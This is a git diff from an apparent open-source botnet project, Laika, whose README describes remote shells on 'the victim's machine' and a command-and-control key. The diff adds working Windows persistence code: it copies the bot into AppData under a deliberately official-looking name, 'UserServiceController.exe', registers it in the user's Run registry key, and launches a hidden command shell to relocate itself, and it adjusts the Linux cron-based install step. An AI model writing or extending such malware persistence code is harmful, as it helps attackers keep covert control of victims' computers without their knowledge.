diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md
index bc989df..be5247c 100644
--- a/CONTRIBUTING.md
+++ b/CONTRIBUTING.md
@@ -12,7 +12,6 @@ HEAD: https://github.com/CPunch/Laika/tree/main
 ## Tasks and TODOs
 Looking for some simple tasks that need to get done for that sweet 'contributor' cred? Check here!
 
-- Implement `lib/win/winpersist.c`
 - Change `lib/lin/linshell.c` to use openpty() instead of forkpty() for BSD support
 - Fix address sanitizer for CMake DEBUG builds
 - Change laikaT_getTime in `lib/src/ltask.c` to not use C11 features.
diff --git a/README.md b/README.md
index 2329f34..03a0551 100644
--- a/README.md
+++ b/README.md
@@ -14,9 +14,9 @@ Some notable features thus far:
 - [X] Authentication & packet encryption using LibSodium and a predetermined public CNC key. (generated with `bin/genKey`)
 - [X] Server and Shell configuration through `.ini` files.
 - [X] Ability to open shells remotely on the victim's machine.
-- [ ] Persistence across reboot: (toggled with `-DLAIKA_PERSISTENCE=On`)
+- [X] Persistence across reboot: (toggled with `-DLAIKA_PERSISTENCE=On`)
     - [X] Persistence via Cron on Linux-based systems.
-    - [ ] Persistence via Windows Registry.
+    - [X] Persistence via Windows Registry.
 - [ ] Ability to relay socket connections to/from the victim's machine.
 - [ ] Uses obfuscation techniques also seen in the wild (string obfuscation, tiny VMs executing sensitive operations, etc.)
 - [ ] Simple configuration using CMake:
diff --git a/bot/lin/linpersist.c b/bot/lin/linpersist.c
index 10d4dd1..17d4883 100644
--- a/bot/lin/linpersist.c
+++ b/bot/lin/linpersist.c
@@ -121,8 +121,8 @@ void laikaB_tryPersist() {
     getCurrentExe(exePath, PATH_MAX);
     getInstallPath(installPath, PATH_MAX);
 
-    /* move exe to install path */
-    if (rename(exePath, installPath))
+    /* move exe to install path (if it isn't there already) */
+    if (strncmp(exePath, installPath, strnlen(exePath, PATH_MAX)) != 0 && rename(exePath, installPath))
         LAIKA_ERROR("Failed to install '%s' to '%s'!\n", exePath, installPath);
 
     LAIKA_DEBUG("Successfully installed '%s'!\n", installPath);
diff --git a/bot/win/winpersist.c b/bot/win/winpersist.c
index 57024ba..4510a90 100644
--- a/bot/win/winpersist.c
+++ b/bot/win/winpersist.c
@@ -1,6 +1,10 @@
 /* platform specific code for achieving persistence on windows */
 
 #include <windows.h>
+#include <shlobj.h>
+#include <shlwapi.h>
+
+#pragma comment(lib, "Shlwapi.lib") 
 
 #include "persist.h"
 #include "lconfig.h"
@@ -11,8 +15,12 @@
 *   so we use the GIT_VERSION as our mutex :D */
 #define LAIKA_MUTEX LAIKA_VERSION_COMMIT ".0"
 
-#define LAIKA_REG_KEY "\Software\Microsoft\Windows\CurrentVersion"
-#define LAIKA_REG_VAL "Run"
+/* looks official enough */
+#define LAIKA_INSTALL_DIR "Microsoft"
+#define LAIKA_INSTALL_FILE "UserServiceController.exe"
+
+#define LAIKA_REG_KEY "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
+#define LAIKA_REG_VAL "UserServiceController"
 
 HANDLE laikaB_mutex;
 
@@ -40,41 +48,124 @@ void laikaB_unmarkRunning() {
 
 HKEY openReg(HKEY key, LPCTSTR subKey) {
     HKEY hKey;
-    LONG code;
 
-    if ((code = RegOpenKeyEx(key, subKey, 0, KEY_ALL_ACCESS, &hKey)) != ERROR_SUCCESS)
+    if (RegOpenKeyEx(key, subKey, 0, KEY_ALL_ACCESS, &hKey) != ERROR_SUCCESS)
         LAIKA_ERROR("Failed to open registry key!\n");
 
     return hKey;
 }
 
 /* returns raw multi-string value from registry : see REG_MULTI_SZ at https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry-value-types */
-LPCTSTR readReg(HKEY key, LPCTSTR val, LPDWORD sz) {
-    LPCTSTR str;
+LPTSTR readReg(HKEY key, LPCTSTR val, LPDWORD sz) {
+    LPTSTR str = NULL;
     DWORD ret;
 
     /* get the size */
     *sz = 0;
     RegQueryValueEx(key, val, NULL, NULL, NULL, sz);
-    str = (LPCTSTR)laikaM_malloc(*sz);
 
-    if ((ret = RegQueryValueEx(key, val, NULL, NULL, str, sz)) != ERROR_SUCCESS)
-        LAIKA_ERROR("Failed to read registry!\n");
+    if (*sz != 0) {
+        str = (LPCTSTR)laikaM_malloc(*sz);
+
+        if ((ret = RegQueryValueEx(key, val, NULL, NULL, str, sz)) != ERROR_SUCCESS)
+            LAIKA_ERROR("Failed to read registry!\n");
+    }
 
     return str;
 }
 
-void writeReg(HKEY key, LPCTSTR val, LPCTSTR data, DWORD sz) {
-    HKEY hKey;
+void writeReg(HKEY key, LPCTSTR val, LPTSTR data, DWORD sz) {
     LONG code;
 
-    if ((code = RegSetValueEx(hKey, val, 0, REG_MULTI_SZ, (LPBYTE)data, sz)) != ERROR_SUCCESS)
+    if ((code = RegSetValueEx(key, val, 0, REG_MULTI_SZ, (LPBYTE)data, sz)) != ERROR_SUCCESS)
         LAIKA_ERROR("Failed to write registry!\n");
 }
 
+void getExecutablePath(LPTSTR path) {
+    if (GetModuleFileName(NULL, path, MAX_PATH) == 0)
+        LAIKA_ERROR("Failed to get executable path!\n");
+}
+
+void getInstallPath(LPTSTR path) {
+    /* SHGetFolderPath is deprecated but,,,,, it's still here for backwards compatibility and microsoft will probably never completely remove it :P */
+    if (SHGetFolderPath(NULL, CSIDL_APPDATA | CSIDL_FLAG_CREATE, NULL, 0, path) != S_OK)
+        LAIKA_ERROR("Failed to get APPDATA!\n");
+
+    PathAppend(path, TEXT(LAIKA_INSTALL_DIR));
+
+    if (!CreateDirectory(path, NULL) && GetLastError() != ERROR_ALREADY_EXISTS)
+        LAIKA_ERROR("Failed to create directory '%s'!\n", path);
+
+    PathAppend(path, TEXT(LAIKA_INSTALL_FILE));
+}
+
+/* windows doesn't let you move/delete/modify any currently executing file (since a file handle to the executable is open), so we
+    spawn a shell to move the exe *after* we exit. */
+void installSelf() {
+    TCHAR szFile[MAX_PATH], szInstall[MAX_PATH], szCmd[(MAX_PATH*4)];
+
+    getExecutablePath(szFile);
+    getInstallPath(szInstall);
+
+    if (lstrcmp(szFile, szInstall) == 0) {
+        LAIKA_DEBUG("Laika already installed!\n");
+        return;
+    }
+
+    LAIKA_DEBUG("moving '%s' to '%s'!\n", szFile, szInstall);
+
+    /* wait for 3 seconds (so our process has time to exit) & move the exe, then restart laika */
+    lstrcpy(szCmd, TEXT("/C timeout /t 3 > NUL & move "));
+    lstrcat(szCmd, szFile);
+    lstrcat(szCmd, TEXT(" "));
+    lstrcat(szCmd, szInstall);
+    lstrcat(szCmd, TEXT(" > NUL & "));
+    lstrcat(szCmd, szInstall);
+
+    if (GetEnvironmentVariable("COMSPEC", szFile, MAX_PATH) == 0 || (INT)ShellExecute(NULL, NULL, szFile, szCmd, NULL, SW_HIDE) <= 32)
+        LAIKA_ERROR("Failed to start shell for moving exe!\n");
+
+    laikaB_unmarkRunning();
+    exit(0);
+}
+
+void installRegistry() {
+    TCHAR newRegValue[MAX_PATH];
+    LPTSTR regVal;
+    DWORD regSz;
+    DWORD newRegSz;
+    HKEY reg;
+
+    /* create REG_MULTI_SZ */
+    getInstallPath(newRegValue);
+    newRegSz = lstrlen(newRegValue) + 1;
+    newRegValue[newRegSz] = '\0';
+
+    reg = openReg(HKEY_CURRENT_USER, TEXT(LAIKA_REG_KEY));
+    if ((regVal = readReg(reg, TEXT(LAIKA_REG_VAL), &regSz)) != NULL) {
+        LAIKA_DEBUG("Current Registry value: '%s'\n", regVal);
+
+        /* compare regValue with the install path we'll need */
+        if (regSz != newRegSz || memcmp(newRegValue, regVal, regSz) != 0) {
+            LAIKA_DEBUG("No match! Updating registry...\n");
+            /* it's not our install path, so write it */
+            writeReg(reg, TEXT(LAIKA_REG_VAL), newRegValue, newRegSz);
+        }
+
+        laikaM_free(regVal);
+    } else {
+        LAIKA_DEBUG("Empty registry! Updating registry...\n");
+        /* no registry value set! install it and set! */
+        writeReg(reg, TEXT(LAIKA_REG_VAL), newRegValue, newRegSz);
+    }
+
+    RegCloseKey(reg);
+}
+
 /* try to gain persistance on machine */
 void laikaB_tryPersist() {
-    /* stubbed */
+    installRegistry();
+    installSelf();
 }
 
 /* try to gain root */